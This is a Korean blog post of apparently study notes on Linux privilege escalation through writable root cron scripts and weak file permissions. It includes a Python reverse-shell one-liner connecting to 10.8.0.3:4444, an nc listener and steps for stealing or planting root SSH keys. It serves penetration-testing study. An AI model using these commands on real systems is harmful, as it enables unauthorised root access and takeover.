BLOG
Tracefield · 02
Tracefield · 01
블로그 · 14
Vibe Audit · 04
Vibe Audit · 03
Vibe Audit · 02
Vibe Audit · 01
출판편집자 · 01
StudyTree · 01
SecurityOps · 02
SecurityOps · 01
AI챗봇 · 04
AI챗봇 · 03
AI챗봇 · 02
AI챗봇 · 01
퍼플심 · 04
퍼플심 · 03
퍼플심 · 02
퍼플심 · 01
블로그 · 13
rootscan · 07
rootscan · 06
블로그 · 12
블로그 · 11
블로그 · 10
블로그 · 09
블로그 · 08
블로그 · 07
블로그 · 06
블로그 · 05
블로그 · 04
블로그 · 03
블로그 · 02
블로그 · 01
rootscan · 05
rootscan · 04
rootscan · 03
asmspeak · 03
asmspeak · 02
rootscan · 02
asmspeak · 01
rootscan · 01
웹보안도구 · 02
웹보안도구 · 01
루트캠프 · 02
루트캠프 · 01
All notes 167
2025-12-13 / 호스트기반모의해킹 · 37
리눅스 작업 스케줄링 및 파일 권한 악용
1. 개요
시스템 자동화 작업(Cron)과 잘못된 파일 권한(Weak Permissions)은 빈번하게 발생하는 권한 상승 경로다.
공격자는 주기적으로 실행되는 스크립트를 변조하거나, 중요한 시스템 파일(/etc/passwd, SSH Key)을 덮어써서 시스템을 장악한다.
2. Cron 작업 악용(Scheduled Tasks)
Cron은 리눅스의 작업 스케줄러다. 만약 Root 권한으로 주기적으로 실행되는 스크립트가 있는데, 그 스크립트 파일에 일반 사용자의 쓰기 권한(Write Permission)이 있다면 공격이 성립된다.
2.1 Cron 작업 확인
- 사용자 Cron:
crontab -l(현재 사용자의 스케줄만 확인 가능, 보통 권한 상승엔 무의미).
- 시스템 Cron(★중요):
cat /etc/crontab
ls -al /etc/cron.d/
ls -al /etc/cron.daily/ 등.
- 여기서 정의된 작업들은 주로 Root 권한으로 실행된다.
2.2 공격 시나리오(실습)
- 탐색:
/etc/cron.d/backup 파일을 확인하니, 1분마다 root 권한으로 /tmp/one-time-backup.py를 실행하고 있다.
* * * * * root /usr/bin/python3 /tmp/one-time-backup.py
- 권한 확인: 해당 스크립트의 권한을 확인한다.
ls -l /tmp/one-time-backup.py
- 코드 주입(Exploitation): 스크립트 내용을 Reverse Shell 코드로 덮어쓴다.
import socket,os,pty;s=socket.socket();s.connect(("10.8.0.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
- 대기 및 쉘 획득: 공격자 PC(Kali)에서 핸들러(
nc -lvnp 4444)를 열고 1분을 기다린다. Cron이 실행되면 Root 쉘이 연결된다.
3. 취약한 파일 권한 악용(Weak File Permissions)
시스템 운영에 필수적인 파일들이 잘못된 권한(777 등)으로 설정된 경우를 타겟팅한다.
3.1 /etc/passwd 변조
3.2 SSH 키 탈취(SSH Key Hijacking)
- 탐색: 다른 사용자(또는 Root)의 홈 디렉토리 내
.ssh 폴더 권한 확인.
ls -al /root/.ssh/
- 만약
id_rsa(Private Key) 파일이 읽기 가능하다면, 이를 복사하여 공격자 PC에서 ssh -i id_rsa root@[IP]로 접속한다.
- 만약
authorized_keys 파일이 쓰기 가능하다면, 공격자의 공개키(Public Key)를 추가하여 접속 허용을 뚫는다.
4. 실무 팁
- pspy64: 권한이 낮아
/etc/cron.d를 읽을 수 없을 때, 실행 중인 프로세스를 실시간으로 모니터링해주는 도구인 pspy를 사용하면 숨겨진 Cron 작업(주기적으로 생성되었다 사라지는 프로세스)을 탐지할 수 있다.